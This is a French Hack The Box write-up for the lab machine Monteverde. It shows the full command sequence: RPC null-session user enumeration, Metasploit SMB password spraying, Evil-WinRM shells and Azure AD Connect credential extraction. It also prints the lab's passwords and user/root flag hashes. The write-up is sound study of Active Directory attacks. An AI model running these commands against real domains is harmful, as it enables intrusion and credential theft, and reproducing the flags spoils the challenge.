12 Avr

HTB – Monteverde – Write-up

Introduction

Une machine virtuelle relativement intéressante pour améliorer ses connaissances sur Windows, notamment Active Directory et Azure. En effet, je la trouve moins prenante que Sauna par exemple et surtout moins difficile. Pour moi, c’est une machine Easy et non Medium.

La phase d’énumération est simple et rapide sur cette machine. Ensuite, une fois identifié le profil de la VM, on s’oriente rapidement sur une piste pour arriver à nos fins

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.172
  • Nom de la VM = monteverde.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.172 --min-rate 100 -oN nmap-monteverde-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Voici la totalité des 20 ports (TCP) ouverts :

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-07 01:01:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49778/tcp open msrpc Microsoft Windows RPC

Parmi les ports ouverts nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), pour obtenir un shell.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.

Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, on récupère de suite une liste d’utilisateurs :

root@HTB:~/HTB/Monteverde# rpcclient -U "" -N 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Par contre, rien d’intéressant avec Samba/SMB :

root@HTB:~/HTB/Monteverde# smbmap -H 10.10.10.172
[+] IP: 10.10.10.172:445 Name: monteverde
root@HTB:~/HTB/Monteverde#

Le compte « guest » est même désactivé :

root@HTB:~/HTB/Monteverde# smbclient -L 10.10.10.172 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED

Nous allons vérifier rapidement si nous pouvons récupérer un premier accès utilisateur avec Metasploit. Avant cela, nous allons créer un fichier contenant nos utilisateurs :

root@HTB:~/HTB/Monteverde# cat users.txt
mhope
AAD_987d7f2f57d2
roleary
SABatchJobs
svc-ata
svc-bexec
svc-netapp
smorgan
dgalanos
Guest
Administrator
krbtgt

Ensuite, on lance Metasploit et on va utiliser le module smb_login avec les options suivantes modifiées :

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS             10.10.10.172     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       true             no        Try the username as the password for all users
   USER_FILE          users.txt        no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts

Déjà un premier accès utilisateur disponible avec le compte SABatchJobs :

Un premier compte utilisateur identifié

Ce compte ne donne pas le droit d’obtenir un shell via le service WinRM avec l’outil Evil-WinRM :

Impossible d’avoir un shell avec le compte SABatchJobs

Voyons si on récupère plus d’informations avec ce compte, toujours avec le service MS-RPC de Windows. Mais cette fois on va s’aider d’un outil bien connu et déjà intégré à la distribution Kali, à savoir enum4linux :

root@HTB:~/HTB/Monteverde# enum4linux -a -u SABatchJobs -p SABatchJobs 10.10.10.172

On patiente un peu et on peut déjà obtenir certaines information comme le nom des groupes (notamment Azure Admins) ainsi qu’une liste de partages réseaux accessibles, là aussi avec une référence à Azure :

Partages réseaux
Groupes du domaine MEGABANK

Maintenant vérifions si on peut récupérer des informations intéressantes dans les dossiers identifiés précédemment avec smbclient. On obtient un fichier qui pourrait être utile dans l’un des dossiers utilisateurs :

On récupère le fichier azure.xml

Ce fichier contient un mot de passe en lien avec le produit Microsoft Azure, encore un indice comme le groupe que l’on a vu plus haut :

Clin d’oeil aux marins du 19ème siècle, payés un dollar par jour de labeur

Utilisons à nouveau Metasploit pour voir si ce mot de passe fonctionne avec l’un des autres comptes du domaine. Toujours avec le module smb_login mais cette fois on indique un mot de passe :

Module options (auxiliary/scanner/smb/smb_login):
msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting     Required  Description
   ----               ---------------     --------  -----------
   ABORT_ON_LOCKOUT   false               yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    false               no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                   yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false               no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false               no        Add all passwords in the current database to the list
   DB_ALL_USERS       false               no        Add all users in the current database to the list
   DETECT_ANY_AUTH    false               no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false               no        Detect if domain is required for the specified user
   PASS_FILE                              no        File containing passwords, one per line
   PRESERVE_DOMAINS   true                no        Respect a username that contains a domain name.
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false               no        Record guest-privileged random logins to the database
   RHOSTS             10.10.10.172        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT              445                 yes       The SMB service port (TCP)
   SMBDomain          .                   no        The Windows domain to use for authentication
   SMBPass            4n0therD4y@n0th3r$  no        The password for the specified username
   SMBUser                                no        The username to authenticate as
   STOP_ON_SUCCESS    false               yes       Stop guessing when a credential works for a host
   THREADS            1                   yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                          no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       false               no        Try the username as the password for all users
   USER_FILE          users.txt           no        File containing usernames, one per line
   VERBOSE            true                yes       Whether to print output for all attempts

Bingo, un nouvel utilisateur, mhope :

Deuxième compte de domaine identifié

Phase d’exploitation 1/2

Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons à nouveau l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cette fois cela fonctionne :

root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\mhope\Documents>

Nous pouvons obtenir le premier drapeau user.txt :

Evil-WinRM PS C:\Users\mhope\Documents> cd ../desktop
Evil-WinRM PS C:\Users\mhope\desktop> more user.txt
4961976bd7d8f4eeb2ce3705e2f212f2

Phase d’énumération 2/2

Ce compte va nous donner de nouveaux indices, notamment les groupes auxquels appartient l’utilisateur :

Evil-WinRM PS C:\Users\mhope\desktop> net user mhope
Ce compte appartient au groupe azure Admins, intéressant

Nous utilisons un nouvel outil pour faire une énumération en profondeur, WindowsEnum :

Evil-WinRM PS C:\Users\mhope\Documents> upload WindowsEnum.ps1
Info: Uploading WindowsEnum.ps1 to C:\Users\mhope\Documents\WindowsEnum.ps1
Data: 9492 bytes of 9492 bytes copied
Info: Upload successful!
Evil-WinRM PS C:\Users\mhope\Documents> powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1 > WindowsEnum.txt

On récupère le fichier de sortie vers notre machine pour analyse. On découvre des programmes utilisés par notre administrateur mhope concernant Azure et notamment Azure AD Sync :

Liste des logiciels installés, dont certains pour Microsoft Azure

En analysant les applications et DLL présentes dans ce répertoire on tombe notamment sur le fichier mcrypt.dll :

Après quelques recherches sur Internet, on tombe rapidement sur ce site, qui nous explique tout : https://blog.xpnsec.com/azuread-connect-for-redteam/

Ce fichier sert à gérer les clés et le déchiffrement des données de la base de données.

Cela tombe bien, avec WindowsEnum nous avons également pu découvrir d’autres ports ouverts mais non accessibles de l’exterieur, notamment le port Microsoft SQL TCP 1433 :

Base de données SQL active

Il semble donc possible d’extraire facilement les données contenues dans la base de données.

Phase d’exploitation 2/2

Le PoC présent dans l’article semble comporter des erreurs de formatage de certains caractères et ne fonctionne pas pour moi.

Je trouve un autre script inspiré de celui-ci ici sur GitHub : https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1

Là aussi, cela ne fonctionne pas directement, il ne se passe rien lors du lancement du script. J’ai donc retiré certaines parties du script et mis directement les informations dedans et là, miracle !

Bingo !

Ci-dessous le script adapté.

Nous avons donc le mot de passe du compte root. Il ne reste plus qu’à se reconnecter mais cette fois avec le compte administrator pour obtenir le drapeau root.txt :

root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u Administrator -p d0m@in4dminyeah!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> cd ../desktop
Evil-WinRM PS C:\Users\Administrator\desktop> more root.txt
12909612d25c8dcf6e5a07d1a804a0bc

Conclusion

Nous voilà déjà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est plutôt simple à mon goût. Ensuite, Google sera d’une grande aide pour obtenir le compte root.

L’article sur Azure AD est par contre très intéressant et on apprend pas mal de chose.